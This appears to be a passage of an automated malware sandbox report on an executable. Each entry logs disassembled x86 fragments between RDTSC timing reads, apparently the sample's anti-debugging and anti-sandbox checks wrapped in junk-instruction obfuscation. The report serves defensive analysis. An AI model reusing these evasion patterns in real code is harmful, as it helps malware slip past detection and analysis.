Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5250AB5 second address: 5250ABB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5250B41 second address: 5250B48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ADh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5290671 second address: 52906A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007FE310CDC3A7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52906A1 second address: 529071F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE31118121Fh 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FE311181226h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov edx, 78C10E20h 0x00000019 popad 0x0000001a pop ebp 0x0000001b pushad 0x0000001c call 00007FE311181225h 0x00000021 pushfd 0x00000022 jmp 00007FE311181220h 0x00000027 xor cl, FFFFFF98h 0x0000002a jmp 00007FE31118121Bh 0x0000002f popfd 0x00000030 pop esi 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FE31118121Fh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D09E3 second address: 52D09FC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pop ecx 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ax, 9AF7h 0x00000013 mov esi, 0869EF93h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D08C9 second address: 52D08DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE311181222h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D08DF second address: 52D08F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE310CDC39Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D08F7 second address: 52D0929 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE311181228h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0929 second address: 52D092D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D092D second address: 52D0933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0933 second address: 52D0944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0944 second address: 52D0981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE311181227h 0x0000000a or ecx, 4DCB694Eh 0x00000010 jmp 00007FE311181229h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0981 second address: 52D0991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE310CDC39Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0991 second address: 52D0995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D06BF second address: 52D06F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE310CDC3A6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE310CDC39Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D06F6 second address: 52D06FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D06FC second address: 52D0700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0700 second address: 52D0704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0704 second address: 52D072E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FE310CDC3A9h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D072E second address: 52D0732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0732 second address: 52D0738 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0738 second address: 52D073E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D073E second address: 52D0742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0C97 second address: 52D0C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0C9C second address: 52D0D79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007FE310CDC39Eh 0x00000010 mov ch, 6Ah 0x00000012 pop edx 0x00000013 pushfd 0x00000014 jmp 00007FE310CDC39Ch 0x00000019 adc cx, 92D8h 0x0000001e jmp 00007FE310CDC39Bh 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FE310CDC39Fh 0x0000002d or ah, FFFFFF9Eh 0x00000030 jmp 00007FE310CDC3A9h 0x00000035 popfd 0x00000036 pushfd 0x00000037 jmp 00007FE310CDC3A0h 0x0000003c adc ax, D798h 0x00000041 jmp 00007FE310CDC39Bh 0x00000046 popfd 0x00000047 popad 0x00000048 xchg eax, ebp 0x00000049 pushad 0x0000004a mov edx, ecx 0x0000004c mov bl, ch 0x0000004e popad 0x0000004f mov ebp, esp 0x00000051 jmp 00007FE310CDC3A3h 0x00000056 mov eax, dword ptr [ebp+08h] 0x00000059 pushad 0x0000005a movzx eax, bx 0x0000005d call 00007FE310CDC3A1h 0x00000062 mov ah, 92h 0x00000064 pop edi 0x00000065 popad 0x00000066 and dword ptr [eax], 00000000h 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0D79 second address: 52D0D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0D7D second address: 52D0D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0D92 second address: 52D0DDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007FE311181223h 0x00000015 pop esi 0x00000016 call 00007FE311181229h 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52808AC second address: 5280922 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bh, ch 0x0000000d call 00007FE310CDC3A9h 0x00000012 jmp 00007FE310CDC3A0h 0x00000017 pop esi 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007FE310CDC3A0h 0x0000001f xchg eax, ebp 0x00000020 jmp 00007FE310CDC3A0h 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280922 second address: 528093F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0CFA second address: 52C0D93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007FE310CDC39Eh 0x0000000c adc eax, 6B3D09E8h 0x00000012 jmp 00007FE310CDC39Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FE310CDC39Fh 0x00000023 and al, 0000002Eh 0x00000026 jmp 00007FE310CDC3A9h 0x0000002b popfd 0x0000002c call 00007FE310CDC3A0h 0x00000031 pushfd 0x00000032 jmp 00007FE310CDC3A2h 0x00000037 xor eax, 747F41D8h 0x0000003d jmp 00007FE310CDC39Bh 0x00000042 popfd 0x00000043 pop eax 0x00000044 popad 0x00000045 xchg eax, ebp 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push ecx 0x0000004a pop edx 0x0000004b mov al, 10h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0D93 second address: 52C0DF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181226h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov bx, cx 0x0000000f popad 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FE311181221h 0x00000019 pop esi 0x0000001a pushfd 0x0000001b jmp 00007FE311181221h 0x00000020 xor si, 5C36h 0x00000025 jmp 00007FE311181221h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0DF4 second address: 52C0DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52D0B7E second address: 52D0B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A0545 second address: 52A0555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE310CDC39Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A0555 second address: 52A0590 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FE311181226h 0x00000011 push eax 0x00000012 jmp 00007FE31118121Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A0590 second address: 52A0594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A0594 second address: 52A05AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181227h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A05AF second address: 52A05E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 jmp 00007FE310CDC3A0h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE310CDC3A7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A05E3 second address: 52A05E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A05E9 second address: 52A0600 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE310CDC39Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A0600 second address: 52A0606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52A0606 second address: 52A060A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5260056 second address: 526005A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526005A second address: 5260060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5260060 second address: 5260128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE31118121Ch 0x00000009 sub cx, B068h 0x0000000e jmp 00007FE31118121Bh 0x00000013 popfd 0x00000014 mov dx, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007FE311181225h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FE31118121Eh 0x00000026 mov ebp, esp 0x00000028 jmp 00007FE311181220h 0x0000002d and esp, FFFFFFF8h 0x00000030 pushad 0x00000031 popad 0x00000032 xchg eax, ecx 0x00000033 pushad 0x00000034 mov ax, B93Bh 0x00000038 movzx ecx, di 0x0000003b popad 0x0000003c push eax 0x0000003d pushad 0x0000003e movzx esi, di 0x00000041 pushfd 0x00000042 jmp 00007FE311181225h 0x00000047 jmp 00007FE31118121Bh 0x0000004c popfd 0x0000004d popad 0x0000004e xchg eax, ecx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 pushfd 0x00000053 jmp 00007FE31118121Bh 0x00000058 or esi, 684E847Eh 0x0000005e jmp 00007FE311181229h 0x00000063 popfd 0x00000064 push eax 0x00000065 pop ebx 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5260128 second address: 526012E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526012E second address: 526016F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FE311181226h 0x00000011 push eax 0x00000012 jmp 00007FE31118121Bh 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 mov cl, C6h 0x0000001b pushad 0x0000001c mov eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526016F second address: 526018D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebx, dword ptr [ebp+10h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE310CDC3A1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526018D second address: 5260193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5260193 second address: 52601BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FE310CDC3A0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dx, cx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52601BC second address: 52601C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52601C2 second address: 52601C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52601C6 second address: 526022C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181227h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FE311181226h 0x00000011 mov esi, dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ch, dh 0x00000019 pushfd 0x0000001a jmp 00007FE311181226h 0x0000001f add esi, 6B92ECE8h 0x00000025 jmp 00007FE31118121Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526022C second address: 5260244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE310CDC3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5260244 second address: 5260248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5260248 second address: 526028D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push esi 0x0000000b jmp 00007FE310CDC3A9h 0x00000010 pop ecx 0x00000011 mov bx, 5054h 0x00000015 popad 0x00000016 mov dword ptr [esp], edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE310CDC3A6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526028D second address: 52602D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 88B4h 0x00000007 jmp 00007FE31118121Dh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f test esi, esi 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FE31118121Ch 0x00000018 xor si, 5668h 0x0000001d jmp 00007FE31118121Bh 0x00000022 popfd 0x00000023 mov eax, 4238145Fh 0x00000028 popad 0x00000029 je 00007FE383CAF560h 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52602D7 second address: 52602EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52602EE second address: 5260327 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 1Eh 0x00000005 jmp 00007FE311181220h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000014 pushad 0x00000015 mov dx, si 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pop edi 0x0000001c popad 0x0000001d je 00007FE383CAF52Bh 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov dx, 1822h 0x0000002a mov si, dx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5260327 second address: 526032D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526032D second address: 526035D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [esi+44h] 0x0000000e jmp 00007FE311181220h 0x00000013 or edx, dword ptr [ebp+0Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov cl, dh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526035D second address: 526037F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526037F second address: 526039C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 526039C second address: 52603A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52603A2 second address: 5260476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FE383CAF4F4h 0x0000000e pushad 0x0000000f pushad 0x00000010 mov ebx, 07FD2E16h 0x00000015 call 00007FE311181227h 0x0000001a pop eax 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007FE311181229h 0x00000022 add esi, 02CEA226h 0x00000028 jmp 00007FE311181221h 0x0000002d popfd 0x0000002e popad 0x0000002f test byte ptr [esi+48h], 00000001h 0x00000033 pushad 0x00000034 push eax 0x00000035 pushfd 0x00000036 jmp 00007FE311181223h 0x0000003b sub eax, 06C5255Eh 0x00000041 jmp 00007FE311181229h 0x00000046 popfd 0x00000047 pop esi 0x00000048 pushfd 0x00000049 jmp 00007FE311181221h 0x0000004e xor eax, 77875396h 0x00000054 jmp 00007FE311181221h 0x00000059 popfd 0x0000005a popad 0x0000005b jne 00007FE383CAF44Eh 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 movsx edx, cx 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280ADD second address: 5280B12 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b movsx ebx, si 0x0000000e pushfd 0x0000000f jmp 00007FE310CDC3A4h 0x00000014 sub si, 6648h 0x00000019 jmp 00007FE310CDC39Bh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280B12 second address: 5280B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280B18 second address: 5280B53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE310CDC3A9h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE310CDC39Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280B53 second address: 5280B65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280B65 second address: 5280B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
